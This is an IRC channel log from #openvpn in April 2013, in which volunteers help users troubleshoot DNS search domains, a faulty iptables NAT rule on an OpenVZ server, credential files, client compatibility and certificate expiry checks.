10:44 < rgoodwin> ok trying again :)
10:44 < rgoodwin> but it shouldn't be adding "search openvpn" to resolv.conf should it?
10:44 < rob0> "it"? No, I don't suppose "search openvpn" should be in resolv.conf
10:44 < rgoodwin> and yes you're right it shows a .
10:45 < rgoodwin> "it" i'm guessing is tunnelblick or something i screwed up server side
10:45 < pekster> If you're pushing the relevant --dhcp-option for DOMAIN, the client up-script included in Tunnelblick might do that
10:45 < pekster> No clue why you're pushing a non-public tld as a search domain if you aren't planning to handle the DNS requests for a private internal domain yourself though
10:46 < rgoodwin> the only thing i have set to push at all is the two dns servers
10:46 < rgoodwin> in server.conf
10:48 < rgoodwin> i note that tunnelblick has several "variants" of setting the name server. sometimes it puts in "search openvpn" and other times "domain openvpn". it is possible that during the PKI setup i put "openvpn" as an answer to something, but i wouldn't think that would be related?
10:49 < pekster> Tunnelblick shouldn't, last I checked, mess with the search domain unless specifically told. Although I don't own a Mac, so my info is probably a few releases out of date. It's handled by an up-script that is effectively a wrapper around the Apple's dnsctl utility (since you can't just "edit" resolv.conf on that platform)
10:50 < rgoodwin> right that makes sense. i just wonder what is telling tunnelblick that there is a search domain at all. my limited understanding of DNS suggests i don't need one
10:51 < rgoodwin> i tried viscosity (other client). it doesn't add the search openvpn bit, but still getting refused DNS on the server side. googling like crazy :)
10:52 < pekster> Your 2 issues are likely unrelated
10:52 < pekster> Again, dig does not care about resolv.conf. Stop pretending it does
10:52 < rob0> I have a pretty good understanding of DNS, and I prefer to avoid "search" entirely. It's no big deal to type a FQDN, then you always know what you are getting.
10:53 < rgoodwin> pekster: i didn't mean to imply that i thought it did. No worries, i can ignore it
10:53 < rgoodwin> and thanks btw to everyone so far
10:53 < rgoodwin> with viscosity, i see this from tcpdump: http://pastebin.com/g7VWtYkj
10:53 < rgoodwin> i note that .domain is being appended to everything, much as .openvpn was before
10:54 < pekster> Ah-ha, client.3.up.tunnelblick.sh set the domain to openvpn if it's otherwise unspecified
10:54 < pekster> line 122 in that script (in the SVN trunk anyway)
10:54 < pekster> stupid, stupid choice
10:55 < rgoodwin> yah i'm on current so that makes sense probably same script version
10:55 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
10:58 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:59 < pekster> If you define the env-var $NO_SEARCH it looks like that'll prevent it from adding the domain
10:59 < pekster> "undocumented feature" I guess
11:03 -!- raidz_away is now known as raidz
11:03 < pekster> Since calls to external scripts have the environment blocked, just add NO_SEARCH="true" or something near the top of the up-script rgoodwin. Note that if you later want the feature you need to remove or comment the line, not set it to "false" as it will still be on if it contains anything but an empty string
11:04 < rgoodwin> ok looking to script
11:05 < pekster> Doing that basically just disables that feature. I don't see another way exposed to take advantage of that "automatic" use of a domain easily since it appears the script expects the environment to contain such overrides, but openvpn prevents that from happening. Sort of an oversight in the Tunnelblick up-script if you ask me
11:08 < pekster> Erm, I read tha too quickly rgoodwin. 1 sec
11:09 < rgoodwin> so, if i remove tunnelblick from the equation, and use viscosity as the example. in it's case it's appending .domain. and to rob0's point i guess seeing google.com. (with the ".") is also an issue.
11:09 < rgoodwin> pekster: k
11:13 < pekster> rgoodwin: Yea, there is no apparent way to prevent that behaviour. It might just be easier to add a comment character to the scutil line on 309 that reads, ${NO_SEARCH}d.add SearchDomains * ${SEARCH_DOMAIN}
11:13 < pekster> Put a hash character in front of the first text on that line
11:15 < rgoodwin> ok. i'll add that to my list. but i think you and rob0 were also right about a routing issue. anything i ping while connected shows one hop. here is the route info while connected: http://pastebin.com/8P99TF1R
11:15 < rgoodwin> (with again the vpn server the default 10.8.0.1
11:17 < pekster> What does a trace to 8.8.8.8 show?
11:17 < rgoodwin> just the one hop
11:17 < pekster> "the one hop" ?
11:17 < rgoodwin> soryr
11:17 < rgoodwin> let me paste
11:18 < rgoodwin> http://pastebin.com/nksRqdGt
11:19 < pekster> That's... really screwed up
11:19 < rgoodwin> LOL
11:20 < pekster> You have no direct route to that host. Something is messing with your TTLs and apparently hijacking your DNS request. The TTL issues have to be caused by your next-hop router (the VPN server) since otherwise a TTL of 1 would return from the VPN server itself
11:20 < pekster> Go fix your misconfigured server. It's a complete violation of RFC to do that, so it's royally messed up
11:22 < rgoodwin> it's an openvz. i'm trying the iptables command from earlier (iptables -t nat -A PREROUTING -i tun0 -j DNAT --to-destination MY_OPENVZ_IP)
11:22 < rgoodwin> which i hope is right
11:22 < pekster> And that's your problem
11:22 < rgoodwin> but after i execute that nothing shows up in the --list-rules
11:23 < pekster> You've "redirected" *all* your outbound traffic to land on your VPN server, and then the server "pretends" it's the target of your communication
11:23 < rgoodwin> ah
11:25 < rgoodwin> that's how i interpreted the message from the trigger
11:26 < pekster> Yea, I scrolled back to look at it. I don't know what "problem" that tries to fix, but it's bad advise as-is
11:26 < pekster> I don't deal with OpenVZ since it's a crappy solution. It's not virtualization, but basically a glorified chroot
11:26 < pekster> !openvz
11:26 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg Xen.
11:26 < pekster> I don't know if that URL has any hints
11:26 < pekster> Otherwise, consider the follow-up advice
11:27 < pekster> Anywa, that NAT rule is completely incorrect. Maybe you need something else, but that rule is wrong and the source of your problems. Unless you want that box to pretend to be "The Internet" to all your clients, then it's spot-on
11:28 < rgoodwin> i actually work on xen related stuff, openvz is quite foreign and a royal pain in the ass apparently
11:30 -!- amir [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
11:31 < rgoodwin> i was trying this because pptp also doesn't work on openvz apparently.
11:31 < rgoodwin> well, you've been stellar, i can't thank you pekster rob0 and kisom enough
11:35 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
11:36 -!- rgoodwin [~rgoodwin@2001:4800:780e:510:316c:b219:ff04:781c] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
11:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:58 -!- sickness\ is now known as Sickness\
12:04 -!- scoates [~sean@iconoclast.caedmon.net] has left #openvpn []
12:17 -!- amir__ [~amir@unaffiliated/amir] has quit [Quit: Leaving]
12:22 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
12:24 -!- amir__ [~amir@unaffiliated/amir] has quit [Client Quit]
12:25 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
12:29 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:31 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
12:33 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
12:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:54 -!- amir__ [~amir@unaffiliated/amir] has left #openvpn ["Leaving"]
12:59 -!- blah [~blah@5353590A.cm-6-4b.dynamic.ziggo.nl] has joined #openvpn
13:03 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
13:03 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
13:07 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:22 -!- threedot [~threedot@78.178.137.138] has joined #openvpn
13:23 < threedot> how can i embed username and password into ovpn config file?
13:25 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has joined #openvpn
13:25 < pekster> threedot: See --auth-user-pass in the manpage
13:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:39 < threedot> pekster: doc is very blurred about --auth-user-pass. but i'm solved the problem. --auth-user-pass accepts a value authfile path and auth file format
13:39 < threedot> user
13:39 < threedot> password
13:39 -!- jzaw [~jzaw@revo.dzki.co.uk] has quit [Remote host closed the connection]
13:40 < pekster> Very blurred? How so? "up is a file containing username/password on 2 lines". Is that unclear?
13:41 -!- jzaw [~jzaw@revo.dzki.co.uk] has joined #openvpn
13:42 < threedot> pekster: this vay is clear but doc not expose that is detailed
13:42 < pekster> threedot: I quoted the manpage. That's what I told you to look at, so I'm confused.
13:43 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
13:44 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
13:44 < threedot> pekster: ok I see now on manpage. I looked another source on web
13:45 < threedot> pekster: looks like fine
13:47 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
13:48 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
13:52 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 260 seconds]
13:55 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:59 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has joined #openvpn
14:08 -!- batrick [~batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.0]
14:11 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
14:27 -!- jzaw [~jzaw@revo.dzki.co.uk] has quit [Remote host closed the connection]
14:27 -!- jzaw [~jzaw@revo.dzki.co.uk] has joined #openvpn
14:39 -!- foxbuntu [~foxbuntu@ubuntu/member/foxbuntu] has joined #openvpn
14:44 < foxbuntu> hey all, I am trying to use the OpenVPN client to connect to a Fortinet SSL VPN tunnel connection, but I just get an error "Not an Access Server" is there a way around this or does the client only work with OpenVPN server?
14:45 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:45 < Eugene> !notopenvpn
14:45 <@vpnHelper> "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
14:45 < Eugene> !notcompat
14:46 <@vpnHelper> "notcompat" is (#1) IPSEC and PPTP are _not_ compatible with OpenVPN. OpenVPN uses SSL whereas PPTP and IPSEC use proprietary protocols and therefore cannot be compatible. or (#2) OpenVPN only connects to OpenVPN
14:46 < foxbuntu> Eugene, I am not askinf for Fortinet help, and its not IPSEC, its SSL
14:46 < Eugene> Additionally, it sounds like you're using the Access Server client, NOT `openvpn`(aka Community or GPL edition).
14:46 < Eugene> Fortinet != OpenVPN either ;-)
14:46 < foxbuntu> Eugene, this is what I downloaded: http://openvpn.net/?option=com_content&id=357
14:46 <@vpnHelper> Title: Client Packages (at openvpn.net)
14:47 < foxbuntu> the windows version (as thats what I am testing)
14:47 < Eugene> Yeah, that's the AS client
14:47 < Eugene> !download
14:47 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
14:47 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
14:47 < Eugene> Openvpn only works with openvpn. If you want a fortinet client, ask them.
14:48 < foxbuntu> Eugene, thats the answer I was looking for
14:48 < foxbuntu> If it only works with OpenVPN thats fine...
14:48 < foxbuntu> just trying to resolve an issue for someone else
14:49 < pekster> "SSL" is an OSI Layer 4 protocol. The notion of an "SSL VPN" is a fallacy that most people use to either (incorrectly) refer to an Application Layer Gateway (like Ctrix) or a Layer 3 VPN that uses TLS (aka "SSL") as part of its security mechanism
14:49 < pekster> An "SSL VPN" is as silly as a "UDP ISP"
14:51 < Eugene> Well, the fact that it uses standard SSL/TLS for authentication/encryption the transport means that it integrates nicely with existing PKIs, which is important in a lot of scenarios
14:51 < Eugene> Eg, employee-issued smartcards
14:51 < foxbuntu> Thanks guys.
14:51 -!- foxbuntu [~foxbuntu@ubuntu/member/foxbuntu] has left #openvpn ["Leaving"]
14:52 < pekster> I just wish that term would die. It's ambigiuos, confusing, and abused by marketing teams everywhere to sell products that don't operate at a network level at all
14:53 < Eugene> Yeah well, people are idiots.
14:53 < Eugene> Look on the bright side: using SSL is better than reinventing RSA
14:54 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 252 seconds]
14:55 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
15:00 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
15:01 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
15:02 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 276 seconds]
15:07 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
15:12 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
15:14 -!- Orbi [~opera@109.129.52.170] has joined #openvpn
15:55 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:01 <@dazo> pekster: The term "SSL VPN" actually makes some sense.  SSL is a protocol which (originally) required TCP connections (SSL was strictly designed for TCP).  Then SSL libraries became more clever and you could do SSL over UDP too  (and then in 2006 DTLS came along too) .... but SSL VPN is very different from f.ex. IPSec or PPTP VPN's which is lingering lower down in the OSI stack
16:02 <@dazo> at some point other IPSec vendors understood the point of SSL VPN, and then started providing SSL connection support in addition to their IPSec offering (like Cisco, and the vpnc client)
16:04 < pekster> SSL might secure the transport, but all the VPN happens at a lower level
16:04 < pekster> I dunno, I just think it muddies the waters too much unless people really have a full understanding of how the protocols stack. We don't call it the "Worldwide Ethernet" either :)
16:05 <@dazo> true ... but if I've understood the initial IPSec implementation correctly .... it uses standard IP packets over the wire, where the kernel has encrypted the data payload
16:06 < pekster> SSL-based VPN sounds cleaner to me, and more accurate, but it's not acceptable as a marketing buzzword so it'll never catch on
16:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:06 < pekster> I run an SSL-based VPN on my Linux-based OS :P
16:06 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
16:07 < jzaw> so would ssl over vpn be more accurate as a term pekster ?
16:08 <@dazo> true, it's more accurate to the core detail
16:09 < pekster> jzaw: vpn over ssl I think you mean, and not really. The internals of OpenVPN multiplex 2 streams over the UDP (or TCP) socket: the TLS-secured control channel and the symmetric-encrypted data (payload) channel
16:09 <@dazo> But what I think muddies the waters are those initially selling you an HTTPS based file browser for your internal network and calling it SSL VPN - or similar solutions .... which has been the case too ... which is not even providing a proper network stack, just a port forwarding or a "screen view" of the remote site
16:09 < pekster> Right, that's a huge part of the problem dazo. Thus those projects that *do* provide a true VPN, not an ALG, loose distinction
16:10 < pekster> Until someone tries to send a packet over RDP, Citrix, or TeamViewer ;)
16:10 <@dazo> pekster: the only reason for that explicit multiplexing in OpenVPN is to enable SSL over UDP (as DTLS didn't exist when OpenVPN was launched)
16:11 <@dazo> pekster: but it's not far from what a "proper" SSL connection would do either
16:15 -!- brute11k1 [~brute@89.249.235.220] has quit [Ping timeout: 252 seconds]
16:17 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
16:19 -!- Orbi [~opera@109.129.52.170] has left #openvpn []
16:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:28 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
16:29 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
16:32 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
16:34 -!- pieterm [~pieterm@94-226-169-30.access.telenet.be] has joined #openvpn
16:35 < matsh> !welcome
16:35 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
16:35 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
16:36 < matsh> !bridge
16:36 <@vpnHelper> "bridge" is (#1) http://openvpn.net/index.php/documentation/miscellaneous/ethernet-bridging.html for the doc or (#2) http://openvpn.net/index.php/documentation/faq.html#bridge1 for info from the FAQ or (#3) also see !tunortap and !layer2 and read --server-bridge in the manual (!man) or (#4) also see !whybridge
16:36 < matsh> !whybridge
16:36 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
16:38 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 245 seconds]
16:55 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
16:55 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
16:56 -!- zoredache [~zoredache@pdpc/supporter/professional/zoredache] has joined #openvpn
16:56 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
16:57 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:59 < zoredache> Perhaps a silly question, but why doesn't openvpn log an error/warning when its certificate is expired?
17:00 < zoredache> Or is there some way to get it to check expiration of its own cert?
17:01 -!- pieterm [~pieterm@94-226-169-30.access.telenet.be] has quit [Quit: pieterm]
17:01 <@dazo> zoredache: the client doesn't do that ... but it's stated in the server logs
17:02 < pekster> zoredache: `openssl x509 -in client.crt -noout -text`
17:02 <@dazo> zoredache: to look at the dates ... check out:  openssl x509 -in <client.crt> -noout -text
17:02 < pekster> And keep better track of your cert expirations ;)
17:02 <@dazo> heh
17:02 < pekster> Note that index.txt is a text db on whatever system you used to generate your PKI (if you used openssl or easy-rsa to do it) too
17:02 < jzaw> and some thought 10yrs was too long?
17:02 < pekster> (it has the expirations in a standard format)
17:03 < pekster> Old defaults used to be 1 yr I think, and people can set lower values by config too
17:03 < jzaw> ofc :)
17:06 < zoredache> dazo: yes, I know how to check it with openssl.  but I had an expired cert on my server.  When clients connect, nothing about the log messages on the server lead me to believe the server cert was expired. Sure seems like that would be a easy to check to add.
17:07 <@dazo> zoredache: ever programmed using SSL libraries? ;-)
17:08 < zoredache> a little, in the python version.  I expect the c version is more painful.  But at least in python getting the cert before/after dates was easy
17:08 < zoredache> the python ssl libraries are very thin layer over the openssl libraries.
17:08 <@dazo> well, getting certificate information in C is pretty painful, tbh
17:10 <@dazo> (briefly explained, you need to do some NID mappings, loop through all fields, and then extract and decode the information according to the information type .... and this is the very simply explained version)
17:11 < pekster> validation of your own endpoint isn't really useful from a security perspective. Maybe it'd make for more helpful logs, but in certain usecases you might not want to have the client cert signed by whatever CA the client is using (split CA setups or something similar)
17:11 < pekster> You'd simply get a failure to validate the cert at some level, and then need more code on top of that to figure out and explain why to the user in the log
17:14 < zoredache> hrm
17:19 -!- dazo is now known as dazo_afk
17:21 < zoredache> Is there something like `--up` that gets called right when openvpn starts?  Something I could put cert validation logic into perhaps?
17:22 < zoredache> a --pre-up maybe?
17:23 < Eugene> The CentOS init scripts call $foo.sh before starting $foo.ovpn, in /etc/openvpn/
17:26 < zoredache> Eugene: interesting, that would be useful. But I don't see an equivalent in the Debian startup script...
17:26 < pekster> vim can fix that (or Emacs, if you must)
17:52 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
17:55 -!- threedot [~threedot@78.178.137.138] has quit [Ping timeout: 245 seconds]
17:59 -!- blah [~blah@5353590A.cm-6-4b.dynamic.ziggo.nl] has quit []
18:22 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
18:32 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has joined #openvpn
18:49 -!- zoredache [~zoredache@pdpc/supporter/professional/zoredache] has quit [Quit: leaving]
19:07 -!- raidz is now known as raidz_away
19:09 -!- speed_racer8 [~speed_rac@173.45.218.37] has joined #openvpn
19:23 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
20:40 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:40 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
20:57 -!- ChauffeR [squirrel@has.a.fluffy.redtail.it] has quit [Ping timeout: 252 seconds]
20:59 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
21:06 -!- researcher_m [~me0615@180.194.159.112] has joined #openvpn
21:08 -!- researcher_m32 [~me0615@180.194.159.112] has joined #openvpn
21:10 -!- researcher_m [~me0615@180.194.159.112] has quit [Ping timeout: 276 seconds]
21:11 -!- researcher_m [~me0615@180.194.159.112] has joined #openvpn
21:13 -!- researcher_m32 [~me0615@180.194.159.112] has quit [Ping timeout: 255 seconds]
21:15 -!- researcher_m32 [~me0615@180.194.159.112] has joined #openvpn
21:15 -!- speed_racer8 [~speed_rac@173.45.218.37] has quit [Ping timeout: 256 seconds]
21:16 -!- researcher_m [~me0615@180.194.159.112] has quit [Ping timeout: 260 seconds]
21:18 -!- ChauffeR [squirrel@has.a.fluffy.redtail.it] has joined #openvpn
21:19 -!- researcher_m32 [~me0615@180.194.159.112] has quit [Ping timeout: 255 seconds]
21:19 -!- researcher_m [~me0615@180.194.159.112] has joined #openvpn
21:23 -!- researcher_m32 [~me0615@180.194.159.112] has joined #openvpn
21:24 -!- researcher_m [~me0615@180.194.159.112] has quit [Ping timeout: 245 seconds]
21:24 -!- researcher_m32 [~me0615@180.194.159.112] has left #openvpn []
21:24 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 255 seconds]
21:49 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has quit [Read error: Connection reset by peer]
21:51 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
21:58 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has left #openvpn []
22:19 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 246 seconds]
22:26 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
22:35 -!- vraa__ [~speed_rac@173.45.222.89] has joined #openvpn
22:38 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 245 seconds]
--- Day changed Sat Apr 13 2013
00:00 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
00:14 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Read error: Connection reset by peer]
00:26 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
00:30 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
00:31 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
00:51 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
01:02 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
01:15 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
01:19 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Read error: Connection reset by peer]
01:44 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:48 -!- pieterm [~pieterm@94-226-169-30.access.telenet.be] has joined #openvpn
02:04 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
02:06 -!- me0615 [~me0615@180.194.160.46] has joined #openvpn
02:07 < me0615> hello guys I have a question. I am connected to the vpn server, I can ping using the ip address and hostname but I cannot browse
02:10 -!- me0615_m [~me0615@180.194.160.46] has joined #openvpn
02:10 < me0615_m> need help guys
02:11 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
02:11 -!- me0615 [~me0615@180.194.160.46] has quit [Ping timeout: 256 seconds]
02:13 < Eugene> !redirect
02:13 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
02:13 <@vpnHelper> http://ircpimps.org/redirect.png
02:16 -!- me0615 [~me0615@180.194.160.46] has joined #openvpn
02:17 -!- pieterm [~pieterm@94-226-169-30.access.telenet.be] has quit [Quit: pieterm]
02:17 -!- me0615_m [~me0615@180.194.160.46] has quit [Ping timeout: 252 seconds]
02:17 < me0615> eugene, I have done redirection with my past configuration. actually this connection works properly before, and i did not touch any of my server setup since then but all of a sudden no browse BUT i can ping ip and hostname
02:18 < me0615> what could be the culprit here?
02:18 < Eugene> Follow the chart
02:21 -!- me0615_m [~me0615@180.194.160.46] has joined #openvpn
02:21 < me0615_m> eugene,on the chart, all my answer there is yes. i can ping 8.8.8.8 and google.com and my server ip.
02:22 < Eugene> With the right routes? ;-)
02:22 -!- me0615 [~me0615@180.194.160.46] has quit [Ping timeout: 256 seconds]
02:22 < me0615_m> yes
02:23 < Eugene> Then it should be browsing right :-p
02:23 < Eugene> Either the flowchart follows or it doesn't
02:26 -!- me0615 [~me0615@180.194.160.46] has joined #openvpn
02:26 < me0615> also under proto udp log, i get this Sat Apr 13 13:56:55 2013 WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this
02:26 < me0615> Sat Apr 13 13:56:55 2013 TLS Error: unknown opcode received from 10.100.104.210:68 op=0 <<----
02:26 < me0615> what does this mean?
02:27 < me0615> 10.100.104.210 is the dynamic ip assigned to me by the ISP
02:27 -!- me0615_m [~me0615@180.194.160.46] has quit [Ping timeout: 256 seconds]
02:30 -!- me0615_m [~me0615@180.194.160.46] has joined #openvpn
02:31 -!- me0615_m [~me0615@180.194.160.46] has quit [Client Quit]
02:31 -!- me0615 [~me0615@180.194.160.46] has quit [Ping timeout: 255 seconds]
02:41 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has joined #openvpn
02:50 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:50 < Eugene> You have CGN going? Ugh
02:54 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has quit [Quit: Ex-Chat]
03:11 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
03:18 -!- brute11k [~brute@89.249.230.92] has joined #openvpn
03:26 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
03:51 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:51 -!- Orbi [~opera@109.129.52.170] has joined #openvpn
03:57 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
04:07 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
04:13 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
04:15 -!- vraa__ [~speed_rac@173.45.222.89] has quit [Ping timeout: 245 seconds]
04:22 -!- syzzer [~steffan@50709C18.static.ziggozakelijk.nl] has quit [Ping timeout: 252 seconds]
04:34 -!- civillian [~nick@174.202.49.122-static.velocitynet.com.au] has quit [Ping timeout: 256 seconds]
04:34 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
04:35 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
04:40 -!- civillian [~nick@174.202.49.122-static.velocitynet.com.au] has joined #openvpn
04:41 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:45 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:57 -!- syzzer [~steffan@50709C18.static.ziggozakelijk.nl] has joined #openvpn
05:21 -!- cnf [qB0QQpdCVG@unaffiliated/cnf] has left #openvpn ["Palaver http://palaverapp.com/"]
05:36 -!- cnf [qB0QQpdCVG@unaffiliated/cnf] has joined #openvpn
05:38 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:45 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:51 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:54 -!- Orbi [~opera@109.129.52.170] has left #openvpn []
06:02 -!- kubbing_ [~kubbing@ip-89-176-242-10.net.upcbroadband.cz] has joined #openvpn
06:05 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
06:05 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
